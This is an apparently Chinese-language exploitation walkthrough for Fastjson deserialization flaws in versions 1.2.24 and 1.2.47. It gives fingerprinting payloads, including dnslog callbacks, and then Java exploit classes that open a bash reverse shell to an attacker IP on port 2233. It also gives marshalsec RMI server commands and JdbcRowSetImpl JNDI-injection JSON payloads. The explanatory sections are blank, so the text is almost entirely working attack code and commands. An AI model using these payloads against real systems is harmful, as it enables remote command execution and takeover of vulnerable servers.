判断是否使用了fastjson组件:
(1)通过报错
{
"name":"asd";
通过不把}闭合,来导致报错
(2)查看其fastjson的版本
[
{
"a":"a\x] {"@type":"java.lang.AutoCloseable"a
(3)通过dnslog来判断是否使用了fastjson
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
1.2.67版本后
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
1.fastjson 1.2.24 反序列化导致任意命令执行漏洞
(1)漏洞版本:1.2.24之前
(2)漏洞原理:
(3)利用方法:
1>编写一个exp.java文件
import java.lang.Runtime;
import java.lang.Process;
public class exp {
static {
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.10.7/2233 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
}
javac编译
2>将class文件放到http服务目录下
3>使用marshalsec-0.0.3-SNAPSHOT-all.jar开启一个rmi或者ladp服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.7/#exp" 8000
4>开启监听2233端口
5>在数据包中加入json的poc
{
"naraku":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.7/exp",
"autoCommit":true
}
}
6>则会发现rmi服务会有回显,而且shell会反弹回来
2.Fastjson 1.2.47 远程命令执行漏洞
(1)漏洞版本:1.2.48以前
(2)漏洞原理:
(3)利用方式:
1)写一个java文件
import java.lang.Runtime;
import java.lang.Process;
public class poc {
static {
try {
Runtime rt = Runtime.getRuntime();
String commands = "/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.10.7/2233 0>&1";
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译成class,放到http目录下
2)开启监听2233端口
3)开启一个rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.7/#poc" 8000
4)加入json格式的poc发送数据包
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.7:8001/poc",
"autoCommit":true
}
}
则会发现rmi服务会有回显,而且shell会反弹回来